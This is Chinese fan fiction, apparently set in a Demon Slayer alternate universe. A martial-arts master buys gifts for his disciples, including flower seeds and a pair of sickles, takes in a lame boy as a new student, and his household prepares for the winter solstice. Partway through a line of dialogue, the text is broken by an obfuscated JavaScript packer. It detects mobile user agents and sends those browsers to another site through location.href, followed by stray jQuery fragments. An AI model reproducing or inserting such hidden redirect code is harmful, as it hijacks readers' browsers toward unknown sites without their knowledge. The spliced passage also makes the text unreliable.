妓夫太郎回过神来,忙道,“啊…是的。我…我看狛治哥平时在院子里,很仔细地照顾那些自己长出来的小花,觉得他应该是喜欢花的。就跟师父说,想给狛治哥买些花种回去。” “给狛治买花种啊…” 石田婆婆眼睛一亮,转身走向店内摆满小纸袋的木架。 “你这一说,我倒想起一种花,特别适合狛治那孩子。” 她在那些标注着花名的纸袋间翻找着,口中喃喃,“狛治那孩子…也是个吃过苦的。话不多,心却细,做事也踏实…啊,找到了!” 她拿着一个鼓鼓囊囊的小纸袋走回来,袋口用细绳系着。“这是水仙花的种子。你一说给狛治买啊,婆婆我就马上想到这种花了。这花啊,冬天也能开,耐寒,清雅。人们常说,水仙象征着自省和新生。” 婆婆把种子袋也放到妓夫太郎手边,“狛治那孩子啊…走过了那段不容易的路,现在也在道场里,和你们在一起,不也是一种新生吗?这花种他应该会喜欢,开出来的花也素净好看。” 正说着,门口的光线被一个高大的身影挡住。庆藏回来了,手里提着一个用厚布裹得严严实实的长条形包裹。 “哟,太郎,这花真漂亮!” 他一眼就看到了妓夫太郎怀里的蓝色风信子,笑着走进来,“是婆婆送的吧?” “庆藏师父回来啦。” 石田婆婆笑呵呵地招呼,“是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919627|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,送给太郎和小梅的见面礼。您要买的东西办妥了?” “办妥了办妥了。” 庆藏掂了掂手里的包裹,看向妓夫太郎手边的种子袋,“这就是给狛治挑的花种?” “是啊,是水仙花的花种。” 婆婆解释道,“我觉得寓意好,也配那孩子的心性。” “水仙好啊!” 庆藏连连点头,笑容爽朗,“婆婆您可真是帮大忙了!让我挑,我还真不知道该挑什么好,只怕挑了狛治不喜欢的,那小子嘴上不说,心里该犯嘀咕了哈哈哈!” “您这话说的,能帮上忙就好。” 石田婆婆也被逗笑了。 付了花种的钱,庆藏又郑重地向婆婆道了谢,这才带着妓夫太郎离开花店。临走前,石田婆婆还不住地叮嘱,“常来玩啊,太郎!带着妹妹一起来!” “嗯…谢谢婆婆。” 妓夫太郎抱着花盆,认真地点头。 走出花店所在的巷子,二人重新汇入人流。 庆藏看了一眼身旁小心翼翼护着花盆的少年,问道,“接下来去书肆,给恋雪和小梅买识字书和纸笔。太郎,你抱着花方便吗?” “方便的,师父。” 妓夫太郎把花盆又往怀里拢了拢。清新的花香萦绕在鼻尖,让他奇异地感到安心。 书肆在集市另一头,门面不大,但里面书架林立,弥漫着纸张和墨特有的、令人沉静的气息。 老板是个戴着圆眼镜的中年人,正伏在柜台后记账,听见风铃声抬头,见是庆藏,立刻露出了笑容。 “庆藏师父!有些日子没见了,恋雪小姐近来身体可好些了?” 他一边寒暄,一边目光扫过庆藏身后的陌生少年。 “托您的福,恋雪最近精神不错。” 庆藏笑着回应,拍了拍妓夫太郎,“这次来,是给这小子的妹妹买些启蒙的识字书。这是我新收的弟子,太郎。他妹妹叫梅,是个漂亮乖巧的小姑娘,现在住在道场。这不是恋雪说最近想教小姑娘认认字,托我来买一些识字书,老板有什么推荐的都来给我介绍介绍吧!” 书肆老板推了推眼镜,仔细看了妓夫太郎一眼,和气地点点头,随即转向正题:“给小姑娘启蒙用的识字书啊…请稍等,我给您拿几本看看。” 他转身在身后的书架上搜寻片刻,取了两本装帧不同的书册过来,摊在柜台上。 “您看这两本。这一本呢,” 他指了指左边那本稍厚些、封面画着可爱动物和花草的,“里面图画多,字也大些,穿插着些简单的小故事和童谣,小孩子看着有兴趣,容易吸引注意力,适合刚开始学。” “这一本呢,” 他又指向右边那本更朴素、更像是正经字帖的书,“内容更系统全面些,从最基础的笔画开始,但没什么图画,相对枯燥点。不过打基础更扎实。” 庆藏拿起两本书翻了翻,略一思索,便道 ,“这两本都要了。另外,麻烦老板再给我拿些适合小孩子初学用的纸笔,要软和、不伤手的。” “好嘞!庆藏师父,您稍等一会儿,我这就给您拿。” 老板利落地应下,转身去里间取货。 等待的间隙,庆藏低声对妓夫太郎说 ,“认字是好事。以后你若有兴趣,也可以跟着一起学。多认识几个字,总没坏处。” 妓夫太郎默默点头。他看着柜台后那些密密麻麻的书籍,心中涌起一种难以言喻的敬畏。 在游郭,文字是遥远而奢侈的东西,只属于那些高高在上的老爷和穿丝绸的商人。他从没想过,有一天自己或许也能触碰这些。 老板很快抱着几刀浅黄色的绵纸和几支粗细不一的毛笔回来了,一起打包好。算账时,他拨弄着算盘,报出一个数目。 庆藏听了,微微皱眉 “老板,这数目…是不是算少了些?纸笔加两本书,不该是这个价。” 书肆老板摆摆手,圆眼镜后的眼睛笑得眯起来,“没算错,没算错。庆藏师父,上回下雨??,我进货回来还没来得及把书搬进屋,要不是您正好路过,帮着我把那一车书抢进屋檐下,我那批新进的货可就全泡汤了,损失可就大了!一直想好好谢谢您,可您总说不值一提。这点折扣您就让我给吧,不然我心里过意不去啊!” 庆藏还想推辞,老板却已经麻利地把东西包好,塞进他手里,“您就收下吧!以后恋雪小姐、还有这两位新来的孩子需要什么书,尽管来我这儿,保证给您挑最好的!” 推辞不过,庆藏只好笑着摇摇头,按老板说的价付了钱,又郑重道了谢。 离开书肆时,日头已经升得老高。庆藏一手提着书和纸笔的包袱,另一只手提着买的食材。背上还挂着那个用布裹着的长条包裹。妓夫太郎则依旧小心地抱着那盆蓝色风信子,口袋里装着给狛治的水仙花种。两人都算得上“满载而归”。 回去的路上,阳光暖暖地洒在身上。 道场的轮廓终于出现在视野尽头。屋檐在阳光下泛着温润的光泽,院子里那棵老树的枝桠安静地伸展着。 拉门“哗啦”一声被从里面拉开。 廊下,并排站着三个人。 恋雪穿着淡雅的居家服,外面罩了件羽织,双手交叠在身前,脸上是温柔恬静的笑。狛治站在她侧后方半步,依旧是那副没什么表情的样子,但目光在触及归来的两人时,明显柔和了下来。最小的小梅挤在最前面,淡粉色的衣裳衬得小脸像初开的樱花苞,大眼睛忽闪忽闪,满是雀跃。 看到庆藏和妓夫太郎手里大包小包,还有那盆显眼的蓝花,三人的眼睛都亮了一下。 然后,他们几乎是同时开口,声音重叠在一起,却奇异地和谐悦耳: “欢迎回来,父亲。” “欢迎回来,哥哥。” “欢迎回来,师父。” 廊外的阳光正好,暖融融地铺满了庭院,也照亮了门口归人带着笑意的脸。 庆藏和妓夫太郎对视一眼,嘴角同时上扬,异口同声地回应道: “嗯,我回来了。” 一阵微风从庭院吹过,拂过狛治额前的碎发,接着掀起恋雪鬓边一丝柔顺的发丝,也逗弄得小梅衣摆上的绣花轻轻颤动。 那盆被妓夫太郎小心翼翼捧在怀里的蓝色风信子,几朵初绽的花瓣也被吹得微微摇晃,像是也在轻轻点头。 家的气息,扑面而来。 14. 寿喜锅与顺一 晌午的道场,空气里浮着暖融融的饭香。 庆藏把几个鼓囊囊的布袋往厨房台子上一放,拍了拍手,脸上是藏不住的爽朗笑意:“今天啊,咱们中午吃寿喜锅!都来看看想吃点什么,自己去袋子里挑,等会儿锅架上了,再想加菜可来不及喽!” 小梅第一个蹦起来,小跑着扑到袋子边,踮着脚往里瞅:“哇!有好多菜!” 恋雪也笑着走过来,动作轻柔地翻看着:“豆腐、香菇、白菜…父亲,您买得真全呀。” 狛治和妓夫太郎也围了过来。狛治默默从袋底翻出几把翠绿的油麦和小白菜,妓夫太郎则小心地拿出几颗圆滚滚的土豆和胡萝卜。 “挑自己喜欢的拿,尽管挑。”庆藏一边挽袖子一边说,“狛治,太郎,你俩去把菜洗了择了。我去把肉片切好。恋雪,你带小梅去把碗筷摆好,小心别烫着。” “好的,父亲。”恋雪应着,牵起小梅的手,“来,小梅,跟姐姐去拿碗。” 厨房里很快忙碌起来。水声哗哗,狛治和妓夫太郎蹲在井边,仔细地清洗着每一片菜叶。狛治的动作依旧利落,妓夫太郎学着他的样子,把菜根处的泥巴抠得干干净净。 庆藏则在案板前,将肥瘦相间的牛肉切成薄如蝉翼的片,刀刃与木板接触,发出有节奏的“笃笃”声。 炉子上的水很快烧开了,庆藏把锅架上去。锅底先抹上薄薄一层油,滋啦一声,香气瞬间炸开。接着倒入调好的酱汁,咸香的气息随着热气蒸腾而起,弥漫了整个道场。 “好香啊!”小梅趴在厨房门口,眼睛亮得像星星,吸了吸鼻子,“庆藏师父,什么时候可以吃呀?” “小馋猫,再等一会儿。”庆藏笑着往锅里码放食材,先是豆腐、香菇这些耐煮的,然后是白菜、土豆等,最后将红白相间的肉片铺在最上层。肉片一遇热便迅速蜷缩变色,汤汁咕嘟咕嘟地冒着泡,所有的鲜味都交融在一起。 小梅等得心急,一会儿跑去看锅,一会儿又跑回来:“好了吗好了吗?庆藏师父,肉肉变色了!是不是可以吃了呀?” 狛治从她身边经过,轻轻按了下她的头:“再煮一会儿,里面的菜才入味。” 他走向主屋,仔细地在恋雪面前摆好碗筷和汤匙,又将她的坐垫挪到离锅不远不近、既方便取食又不会被热气熏到的位置。 “谢谢狛治先生。”恋雪低声说,耳尖微微泛红。 “嗯。”狛治应了一声,在她旁边坐下。 锅里的汤汁越发浓稠滚烫,庆藏终于宣布:“好啦!开动!” “我开动了!” 声音参差不齐却充满喜悦。 小梅迫不及待地伸出筷子,瞄准一片裹满汤汁的牛肉。可她人小胳膊短,够起来有些吃力。太郎见状,直接拿起小梅的碗和筷子,说:“小梅想吃什么,哥哥帮你夹。” 而另一边的狛治眼疾手快,用公筷夹起煮好的肉,又蘸了蘸旁边小碗里的生鸡蛋液,然后——稳稳放进了恋雪的碗里。 “小心烫。”他声音不高。 恋雪的脸“腾”地红了,像染上了天边的晚霞。她低着头,小声道谢,筷子尖无意识地拨弄着碗里的肉片。过了一会儿,她悄悄夹起一截煮得软糯香甜的胡萝卜,迟疑片刻,飞快地放进了狛治的碗里,然后迅速收回手,假装专心吃饭。 狛治看着碗里多出来的胡萝卜,动作顿了一秒,什么也没说,夹起来安静地吃了。 小梅终于成功地吃到了肉,尝了一口,幸福地眯起眼睛。她咽下去,立刻又夹起一片,这次却不是给自己,而是努力伸长胳膊,放进了庆藏的碗里:“庆藏师父!这个可好吃啦!您也吃!” 庆藏愣了一下,随即哈哈大笑,脸上的皱纹都舒展开:“好,好!小梅真乖!师父吃!” “小梅,”妓夫太郎在一旁轻声提醒,“吃饭动作小一点,别把汤汁溅到新衣服上。” “知道啦,哥哥!”小梅吐了吐舌头,但动作确实收敛了些。 热气氤氲中,一家人围坐在锅边,筷子起起落落,交谈声、轻笑声、汤汁翻滚的咕嘟声交织在一起。豆腐吸饱了汤汁,一口咬下去鲜香四溢;香菇肥厚软滑;蔬菜清甜爽口;肉片更是嫩得入口即化。每个人都吃得额头冒汗,脸颊红润,连恋雪都比平时多吃了小半碗饭。 饭后,杯盘碗筷撤下,换上热茶。庆藏清了清嗓子,笑眯眯地说:“今天啊,不光买了吃的,还给大家带了点小礼物。” 几个孩子的眼睛立刻亮了。 庆藏先拿出那个系着细绳的小纸袋,递给狛治:“喏,这是太郎特意给你挑的。” 狛治接过,有些疑惑地打开,看到里面黑褐色的细小种子:“这是…?” “是水仙花的种子。”妓夫太郎接过话,声音里带着点不好意思,“我看狛治哥平时很仔细地照顾院子里那些花,就想着…你可能会喜欢。石田婆婆说,这花冬天也能开,寓意也好。” 狛治捏着那袋种子,指尖能感受到纸袋粗糙的纹理和种子细微的硬实。他抬头看了看妓夫太郎,又看了看笑眯眯的庆藏,最终点了点头,很郑重地将袋子收好:“…谢谢。我会好好种的。” 接着,庆藏拿出给恋雪和小梅的包裹。打开,里面是两本崭新的识字书、一沓浅黄色的绵纸,还有几支毛笔。当然,也没忘记铃木老板给的新糖和三色团子。 “哇!书!”小梅惊喜地叫起来,小心翼翼地摸着光滑的封面,“恋雪姐姐,我们可以开始学了吗?” “当然可以。”恋雪温柔地笑着,拿起那本图画多的,“下午姐姐就先教小梅认这里面画的动物,好不好?” “好!”小梅用力点头,爱不释手地翻看着书页。 最后,庆藏的神情认真了些。他拿过那个一直放在角落、用厚布裹着的长条包裹,在妓夫太郎面前解开。 布一层层掀开,露出里面的东西时,连狛治都微微睁大了眼睛。 那是一对镰刀。 但与农具店里粗糙笨重的镰刀截然不同。这对镰刀的线条凌厉流畅,弧形的刃口在光线下泛着光泽,木质握柄也被打磨得光滑趁手。 “这是…”妓夫太郎怔住了,几乎不敢呼吸。 “在铁匠铺宫本那里得来的。”庆藏将镰刀拿起一把,掂了掂,递向他,“我观察了你这些时日,觉得素流的拳脚你能学,但或许…这个更适合你。试试,趁不趁手。” 妓夫太郎伸出双手,近乎虔诚地接过。入手比想象中轻巧,重心分布极好,握柄贴合掌心的弧度,仿佛天生就该被他握着。他无意识地挥动了一下,镰刃划破空气,发出极轻微的“嗖”声。 一种奇异的熟悉感涌了上来。仿佛这冰冷的镰刀,一开始就能读懂他骨子里那些为了生存而磨炼出的、近乎本能的战斗方式。 “它…”妓夫太郎的声音有些干涩,“师父,它好像…认识我。” 庆藏笑了:“宫本说,武器要遇见对的主人,才算是‘活’了。这对镰刀没有名字,等你真正能用好它的时候,由你来赋予它意义。” 他拍了拍少年的肩,“不过记住,力量是工具,关键在于你用它来守护什么。” 妓夫太郎紧紧握住镰刀,重重点头:“我明白,师父。” 午后,道场照例迎来了三个小弟子。宗之介、竹雄和健太嘻嘻哈哈地跑进来,正要开始下午的课程,道场门口又出现了新的身影。 是上午那个叫高桥顺一的跛脚少年,他换上了一身虽然旧但洗得干干净净的衣服,身旁站着一位面容憔悴却眼神坚毅的妇人,手里还提着一个小包袱。 “庆、庆藏师父!”顺一在门口深深鞠躬,声音有些紧张,“我带我母亲来了!” 庆藏连忙迎上去:“快请进,快请进。” 他让狛治和妓夫太郎先带着三个孩子到廊下休息,自己则将顺一母子请进了主屋。拉门轻轻合上,隐约传来交谈声。 主屋的拉门轻轻合上,隔绝了廊下孩子们隐约的嬉闹声。屋内光线柔和,庆藏示意高桥夫人和顺一在坐垫上落座。顺一显然有些紧张,双手拘谨地放在膝盖上,背脊挺得笔直,那条不便的腿微微斜向一旁。 “高桥夫人,您请用茶。”庆藏将两杯热茶推至母子面前,语气温和,“顺一,你也放松些,这里不是外面,不用这么紧张。” 高桥夫人看起来约莫四十几岁,面容清瘦,带着长年操劳的痕迹,但眼神清亮而坚韧。她双手接过茶杯,微微欠身:“给您添麻烦了,庆藏师父。实在是…不知道该如何感谢您早上对顺一的搭救。” 说着,她轻轻咳了几声,用袖子掩了掩口。 “母亲…”顺一担忧地看向她。 “没事,老毛病了。”高桥夫人摆摆手,目光转向庆藏时,充满了真挚的感激,“这孩子回来,眼睛亮得我都没见过。他说,早上在集市,有几个混小子堵着他要钱,他拿不出来,正不知道该怎么办,是您这位道场的师父,像山一样挡在他前面,三两下就把那些人赶跑了。” 她顿了顿,声音有些发颤:“这孩子…生下来腿脚就不太便利,从小到大,没少受委屈。旁的孩子跑跑跳跳,他只能在后面慢慢跟着。街面上那些不三不四的人,看他好欺负,也总是…唉。我这个当娘的,心里难受,怪自己没能给他一个健健康康的身子…” 她的眼眶微微泛红,但强忍着没有让泪水落下,只是用力握了握顺一的手。 顺一立刻摇头,急急地说:“母亲!别这么说!我从来不觉得这有什么!您为了养活我,吃了那么多苦,我都知道!而且…” 他抬起头,看向庆藏,眼神里是前所未有的灼热和坚定, “庆藏师父,我回来和母亲商量了。我…我想跟您学习!我知道我腿脚不好,可能练不了太高深的功夫,但是…但是我想学!我想学点本事,以后再有那种人欺负我,我能保护自己!我…我更想能保护母亲!” 他的声音因为激动而微微发抖:“母亲身体不好,常常咳嗽,需要钱抓药。我要是学了本事,哪怕只是在道场帮忙打扫、跑腿,或者以后能找个更稳妥的活计,也能多挣点钱,给母亲治病!求求您,收下我吧!我什么都能做,我不怕苦,也不怕累!” 少年的话语朴实无华,却字字砸在地上,带着全然的真心和孤注一掷的勇气。 庆藏静静地听着,脸上的笑容渐渐敛去,取而代之的是一种深沉的肃穆和动容。他看了看眼前这个眼神炽烈、身有残缺却脊梁挺直的少年,又看了看他身边那位饱经风霜却努力支撑的母亲。 “顺一是个好孩子。” 高桥夫人等儿子说完,才缓缓开口,声音温柔而疲惫,却又充满力量,“庆藏师父,这孩子回来和我说想跟着您学习,我心里…是高兴的。这世道,男孩子学点安身立命的本事,总是好的。尤其是…能跟着您这样正派的人学,我放心。” 她又轻咳了两声,顺一连忙替她拍了拍背。她顺了顺气,继续道:“这孩子,就劳您费心教导了。该有的规矩,我们都懂。这学习的费用啊…” 她从随身带着的、洗得发白的小包袱里,摸索着想要拿出什么,显然是一些攒下来的零散钱币:“我过几天,等这个月的工钱结了,就给您拿过来。可能不多,但我们会按月给的,绝不拖欠。” 庆藏这时伸出手,轻轻按住了高桥夫人想要掏钱的动作。他的手掌宽厚温暖,带着常年练武的粗糙,却有着令人安心的力道。 “高桥夫人,钱的事,不着急,也真的不用这样。” 庆藏的声音沉稳而诚恳,目光在母子二人之间流转,“顺一是个好孩子,我看得出来。他有这份心,想保护您,想靠自己立起来,这就比什么都强。” 他看向顺一,语气认真:“道场收弟子,首要看的是品性和心志。你早上在那种情况下,没有屈服,也没有走歪路,回来还能想着靠正经营生孝顺母亲,这就很好。至于腿脚…素流武术,强身健体、磨练意志是根本,未必人人都要练成绝世高手。你能学到多少,咱们就教多少,能强一分是一分。” 他顿了顿,给出了切实的安排:“至于费用,你不用担心。如果你愿意,可以在道场学习之余,帮忙做些力所能及的事情——打扫庭院、整理器具、或者跑跑腿。用这些来抵偿学习的费用,如何?这样一来,你既能学习,也能锻炼,还能为家里减轻负担。况且,道场本来也用不了多少额外的开销,不过是多一双筷子,多一份心罢了。” 顺一呆呆地听着,几乎不敢相信自己的耳朵。他原本已经做好了被婉拒,或者需要母亲节衣缩食才能凑足费用的准备。眼泪毫无预兆地涌了上来,在他眼眶里打转。他用力吸了吸鼻子,猛地俯下身,额头抵在榻榻米上,声音哽咽却响亮: “谢谢您!庆藏师父!谢谢您!我一定会努力!我一定会好好学,好好干活!绝不会辜负您和母亲的期望!” 高桥夫人也红了眼眶,她想起身行礼,被庆藏扶住了。“庆藏师父…您的大恩大德,我们母子…真不知该如何报答…” “言重了,高桥夫人。” 庆藏扶她坐好,笑容重新回到脸上,驱散了屋内过于沉重的气氛,“孩子肯上进,做长辈的,能帮一把是一把。以后顺一就是道场的弟子了,咱们就是一家人。您放宽心,好好养身体。顺一在这里,您尽管放心。” 他又对顺一说:“顺一,明天开始,你就可以过来。早上和其他孩子一起晨练,下午有课的时候跟着 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就这样,一个新的开始,在这个平凡的午后,悄然降临了。 “顺一从明天开始,也来道场学习。”庆藏对廊下的众人宣布,又看向三个好奇的小萝卜头,“宗之介,竹雄,健太,顺一比你们大些,腿脚也不太方便,你们要多照顾他,不许欺负人,知道吗?” “知道啦!庆藏师父!”三个孩子齐声应道,纷纷围到顺一身边,七嘴八舌地问起来。 “你会武功吗?” “你的腿怎么了?” “我们一起玩吧!” 顺一被他们的热情弄得有些手足无措,但眼里闪着光,笨拙地回答着问题。 高桥夫人又对庆藏千恩万谢了一番,才留下顺一,先行离开了。下午的课程继续,多了个认真的顺一,道场里似乎更添了几分生气。 夜幕降临,晚饭后,各自洗漱完毕。 小梅却像只神秘的小猫,先溜进哥哥的房间,扯扯他的袖子,又跑到狛治的门前,轻轻叩了叩,压低声音说:“狛治哥哥,恋雪姐姐说,有重要的事情商量,去她房间哦。” 妓夫太郎和狛治都有些疑惑,但还是跟着小梅,悄悄来到了恋雪的房间。恋雪已经点起了灯,暖黄的光晕照亮了她有些不好意思的脸。 “那个…把你们叫来,是小梅的主意。”恋雪轻声说,“我们…我们想给父亲也准备一份礼物。” “给庆藏师父?”妓夫太郎一愣。 “嗯!”小梅用力点头,眼睛在灯光下亮晶晶的,“庆藏师父给大家买了那么多礼物,我们也要送他礼物!可是…我们没钱买很好的东西…” 恋雪接过话:“所以,我们想,一起亲手做点什么。我针线还算拿手,可以绣点东西。小梅说,她可以帮忙挑样子。太郎,狛治先生,你们看…能不能也想想,我们能一起做点什么?父亲他…总是把最好的给我们,自己却很少在意。” 房间内安静下来,只有灯花偶尔爆开的轻微噼啪声。 狛治沉思片刻,开口道:“师父的旧羽织,肘部磨得有些薄了。我见恋雪你前些日子在缝补我们的衣服,手艺很好。或许…我们可以一起,给师父做一件新的?料子我可以想办法。” “做衣服?”妓夫太郎想了想,“我…我可以帮忙打下手,或者,我去问问石田婆婆,有没有结实又舒适的布料,或许能便宜些…” 小梅兴奋地拍手:“我可以帮恋雪姐姐理线!我还会缝扣子了!” 恋雪看着眼前三人,心里暖融融的,脸上绽开温柔的笑容:“好,那我们就一起,给父亲做一件新羽织。料子的事,狛治先生和太郎去张罗,款式和绣样,我和小梅来想。这是我们四个人的秘密,好不好?” “好!”小梅第一个响应。 狛治和妓夫太郎也郑重地点了点头。 夜深了,道场重归宁静。 狛治躺在被褥里,望着天花板。掌心似乎还残留着那袋花种粗糙的触感。水仙…新生吗?没想到自己照顾院子里花的事情,竟然被太郎注意到了… 过了一小会儿,狛治侧过头,仿佛能透过墙壁,看到隔壁房间那个温柔的身影。给她夹菜时她脸红的模样,给他夹胡萝卜时飞快缩回的手…这些细小的画面,像投入心湖的石子,漾开一圈圈细微的涟漪。 他又翻了个身,闭上眼睛。给师父做羽织…得去找找有没有既保暖耐磨,又不失体面的料子。明天先去集市看看吧。 恋雪的房间还亮着灯。 她靠在床头,手里拿着针线,却有些心不在焉。父亲收到礼物时会是什么表情呢?她忍不住想。 还有…狛治先生今天接过花种时,那认真郑重的眼神。她摸了摸自己还有些发烫的脸颊,轻轻吁了口气。 针线在指尖灵活穿梭,她开始在心里勾勒羽织上绣样的图样——素流道场的徽记?还是父亲喜欢的松竹纹?或者…绣点寓意平安健康的图案?得和小梅好好商量一下。 太郎和小梅房间的灯已经熄了,只余下了月光透过窗纸照进来的浅浅光晕。 小梅已经睡着了,怀里还抱着那本崭新的识字书,嘴角挂着甜甜的笑。 梦里,她梦见了哥哥带回来的蓝色风信子开满了院子,梦见了自己认识了好多好多字,能给哥哥和恋雪姐姐念故事,还梦见了庆藏师父穿着她们做的新羽织,笑得特别开心。 她在梦里嘟囔了一句:“要绣得…漂漂亮亮的…给庆藏师父,开心…” 太郎没有立刻睡着,手指在黑暗中虚握,回忆着白天握住那把镰刀时的感觉。冰冷、坚硬,却奇异地令人安心。仿佛那不仅仅是一件武器,而是某种承诺的具现——他有了力量,可以守护的力量。 他又想起下午廊下,妹妹跟着恋雪认字时那认真的小脸,想起庆藏师父拍他肩膀时厚重的温暖,想起狛治哥接过花种时无声的肯定。 这些碎片拼凑在一起,组成了一种他从前不敢奢望的、名为“归属”的完整图景。他将手轻轻放在枕边,那里静静躺着那对镰刀还有那只丑丑的玩偶。然后,他也闭上了眼睛。 庆藏在主屋,就着油灯,慢慢擦拭着道场的木刀。今天顺一母亲那感激涕零的样子,孩子们围坐吃饭的欢声笑语,太郎接过镰刀时眼中骤然亮起的光…一幕幕在他眼前闪过。 这个道场,这个家,正在变得越来越热闹,也越来越像他心中“家”该有的样子。他放下布,吹熄了灯。 黑暗笼罩下来,但他的心里却是一片亮堂。日子还长,这些孩子们,都有光明的未来。这就够了。 15. 冬至 冬至的清晨,天色亮得比平时晚些。寒气凝在道场的屋檐下,结成细小的冰棱。 院子里的石板还覆着一层薄薄的白霜,三个熟悉的小身影已经准时出现在门口——宗之介、竹雄、健太。还没走近大门,就听见他们齐刷刷地喊:“庆藏师父早!狛治哥哥早!太郎哥哥早!” “早啊!”庆藏笑着应声,目光却落在他们身后——那个新来的、走路有些跛的少年,正努力跟上队伍。 高桥顺一深吸一口气,在门口站定,深深鞠躬:“庆、庆藏师父早!大家早!” “顺一也早。”庆藏走过去,轻轻拍了拍他的肩,“别紧张,今天先从最基础的开始。” 晨练开始了。 狛治带着三个“老弟子”复习步法,动作整齐划一。妓夫太郎在一旁巩固昨天学的拳路,拳头破开冷空气,发出短促的声响。 而顺一则跟着庆藏,在院子另一角,从最基础的站姿开始学。 “脚分开,与肩同宽。”庆藏的声音很温和,他蹲下身,亲自调整顺一的脚位,“你左腿不便,重心可以稍稍往右偏一点,但要稳,不能晃。” 顺一咬紧牙关,按照指示调整。他的左腿微微颤抖,额头上很快渗出汗珠。 “不用急。”庆藏扶住他的胳膊,“慢慢来,找到那个让你站稳的点。对…就是这样。” 庆藏教得很细,每个动作都拆解得清清楚楚,反复示范。顺一学得认真,虽然动作生涩,但眼神专注得仿佛要把每一个细节刻进脑子里。 顺一按照指导调整着,虽然姿势看起来还是有些别扭,但脚下的晃动确实减轻了。他抬起头,眼睛里闪着光:“庆藏师父,这样对吗?” “对。”庆藏肯定地点头,“记住这个感觉。每个人身体条件不同,找到适合自己的‘稳’,比硬学标准姿势更重要。” 休息时,三个小家伙立刻围了上来。 “顺一哥哥!”宗之介眼睛亮亮的,“你好厉害啊!我刚开始学的时候,连站都站不稳呢!” 竹雄小声补充:“而且…而且庆藏师父亲自教呢!” 健太挠挠头,憨憨地说:“顺一哥哥,你腿疼不疼?我妈妈说,累了要休息。” 顺一被他们围在中间,有些手足无措,脸微微发红:“还、还好…不疼。谢谢你们。” “顺一哥哥肯定能学好的!”宗之介拍拍胸脯,“以后有人欺负你,你就告诉我们!我们帮你!” “对!我们帮你!” 孩子们叽叽喳喳,真诚又热烈。顺一看着他们,眼眶有点热,用力地点了点头。心里那股初来乍到的紧张感,也在不知不觉中消散了大半。 廊下,纸门被轻轻拉开。 恋雪穿着素雅的居家服,外面罩了件淡橘色的羽织,正跪坐在镜台前。小梅从她身后探出脑袋,眼睛弯成了月牙。 “恋雪姐姐,今天是什么特别的日子吗?”小梅问,“你穿得真好看。” 恋雪转头,温柔地笑了:“今天是冬至呀,小梅。是一年里夜晚最长、白天最短的日子。过了今天,白昼就会慢慢变长,春天也就不远了。” 她拉起小梅的手,走到衣箱边,打开,里面整齐叠放着几件新改好的衣裳。她拿出一件鹅黄色的,料子柔软,领口和袖口还绣着细小的梅花纹。 “这是前几天给你改好的,今天穿这件好不好?”恋雪把衣服在小梅身前比了比,“很衬你的肤色呢。” 小梅的眼睛一下子亮了:“好看!恋雪姐姐,你今天穿橘色的,我穿鹅黄色的…我们像不像太阳和阳光呀?” 恋雪被这个比喻逗笑了:“像,真像。”她帮小梅换上衣服,又拉她在镜前坐下,“来,姐姐给你梳头。” 木梳穿过小梅柔软的银发,动作轻柔。小梅从镜子里看着恋雪专注的侧脸,忽然开口:“恋雪姐姐,上次我说要给你梳头,还没梳成呢。” 恋雪手上的动作顿了顿。 “今天让我试试,好不好?”小梅转过身,仰着小脸,眼神里满是期待,“我看了好多遍狛治哥哥给你梳头的样子,我记住了!我会很轻很轻的,绝对不扯疼你。” 恋雪的脸颊微微泛红。她想起上次小梅提起狛治梳头的事,当时羞得恨不得找个地缝钻进去。但看着小梅亮晶晶的眼睛,她心里软成一片。 “…好呀。”她轻声应道,在镜前坐正身子,“那小梅来试试。” 小梅欢呼一声,小心翼翼地从恋雪手里接过梳子。她的动作还很生涩,但极其认真,学着记忆中狛治的样子,先慢慢把长发梳顺,然后分成几股,笨拙却轻柔地编结。 “这里…要这样绕过去…”小梅小声嘀咕着。 恋雪从镜子里看着身后的小女孩——小脸因为专注而微微鼓起,睫毛长长的,阳光从窗外洒进来,在她鹅黄色的衣襟上跳跃。一种难以言喻的暖意,从心底缓缓漾开。 终于,一个简单的发髻在小梅手中成型。虽然比不上狛治梳得那般工整利落,甚至有些地方的碎发没完全收拢,但歪歪扭扭中透着稚拙的可爱。 小梅拿起妆匣里一支簪子,小心地插进发髻固定好,然后退开一步,忐忑地问:“恋雪姐姐…怎么样?” 恋雪对着镜子左右看了看,嘴角的笑意温柔地漾开:“梳得很好呢,小梅。姐姐很喜欢。” 她转过身,把小梅搂进怀里,轻轻揉了揉她的头发:“我们小梅真是越来越能干了。” 小梅满足地把脸埋进恋雪怀里,咯咯地笑起来。 此刻的院子里,晨练也已经接近尾声。 庆藏拍了拍手,把四个孩子的注意力吸引过来:“好了,今天就到这里。” 宗之介他们有些意外:“诶?庆藏师父,今天结束得好早呀!” “因为今天是冬至。”庆藏笑呵呵地说,“是个该和家人团聚的日子。你们几个小鬼头,赶紧回家去,帮家里做点事,和爹娘好好过节。” “是!”孩子们齐声应道,行礼后嘻嘻哈哈地跑出了道场。 顺一站在原地,有些无措。他刚要开口告辞,庆藏却先一步叫住了他。 “顺一,你等等。” 顺一转过头。 庆藏走到他面前,语气温和:“今天过节,你母亲一个人在家吧?要不要接她过来,咱们一起热闹热闹?” 顺一愣住了,连忙摆手:“不、不用了,庆藏师父!这太麻烦您了!我母亲她…” “不麻烦。”庆藏大手一挥,语气不容拒绝,“道场里今天本来也要过节,多两双筷子的事。你母亲身体不好,一个人过节冷清。接过来,大家说说话,一起吃顿饭,晚上你再陪她回去。” 他看向正在收拾器具的狛治和妓夫太郎:“狛治,太郎,你们俩一会儿跟恋雪和小梅去集市采买些过节的东西,正好带着她们两个出去逛逛。顺一,你现在就回去接你母亲,路上慢点,不急。” 顺一的喉咙像是被什么堵住了。他看着庆藏师父坦然而真诚的脸,眼眶一阵发热。他用力吸了吸鼻子,深深鞠躬:“…是!谢谢您,庆藏师父!我、我这就去接母亲!” 说完,他转身,脚步比平时轻快了许多,那条微跛的腿似乎也不再是负担。 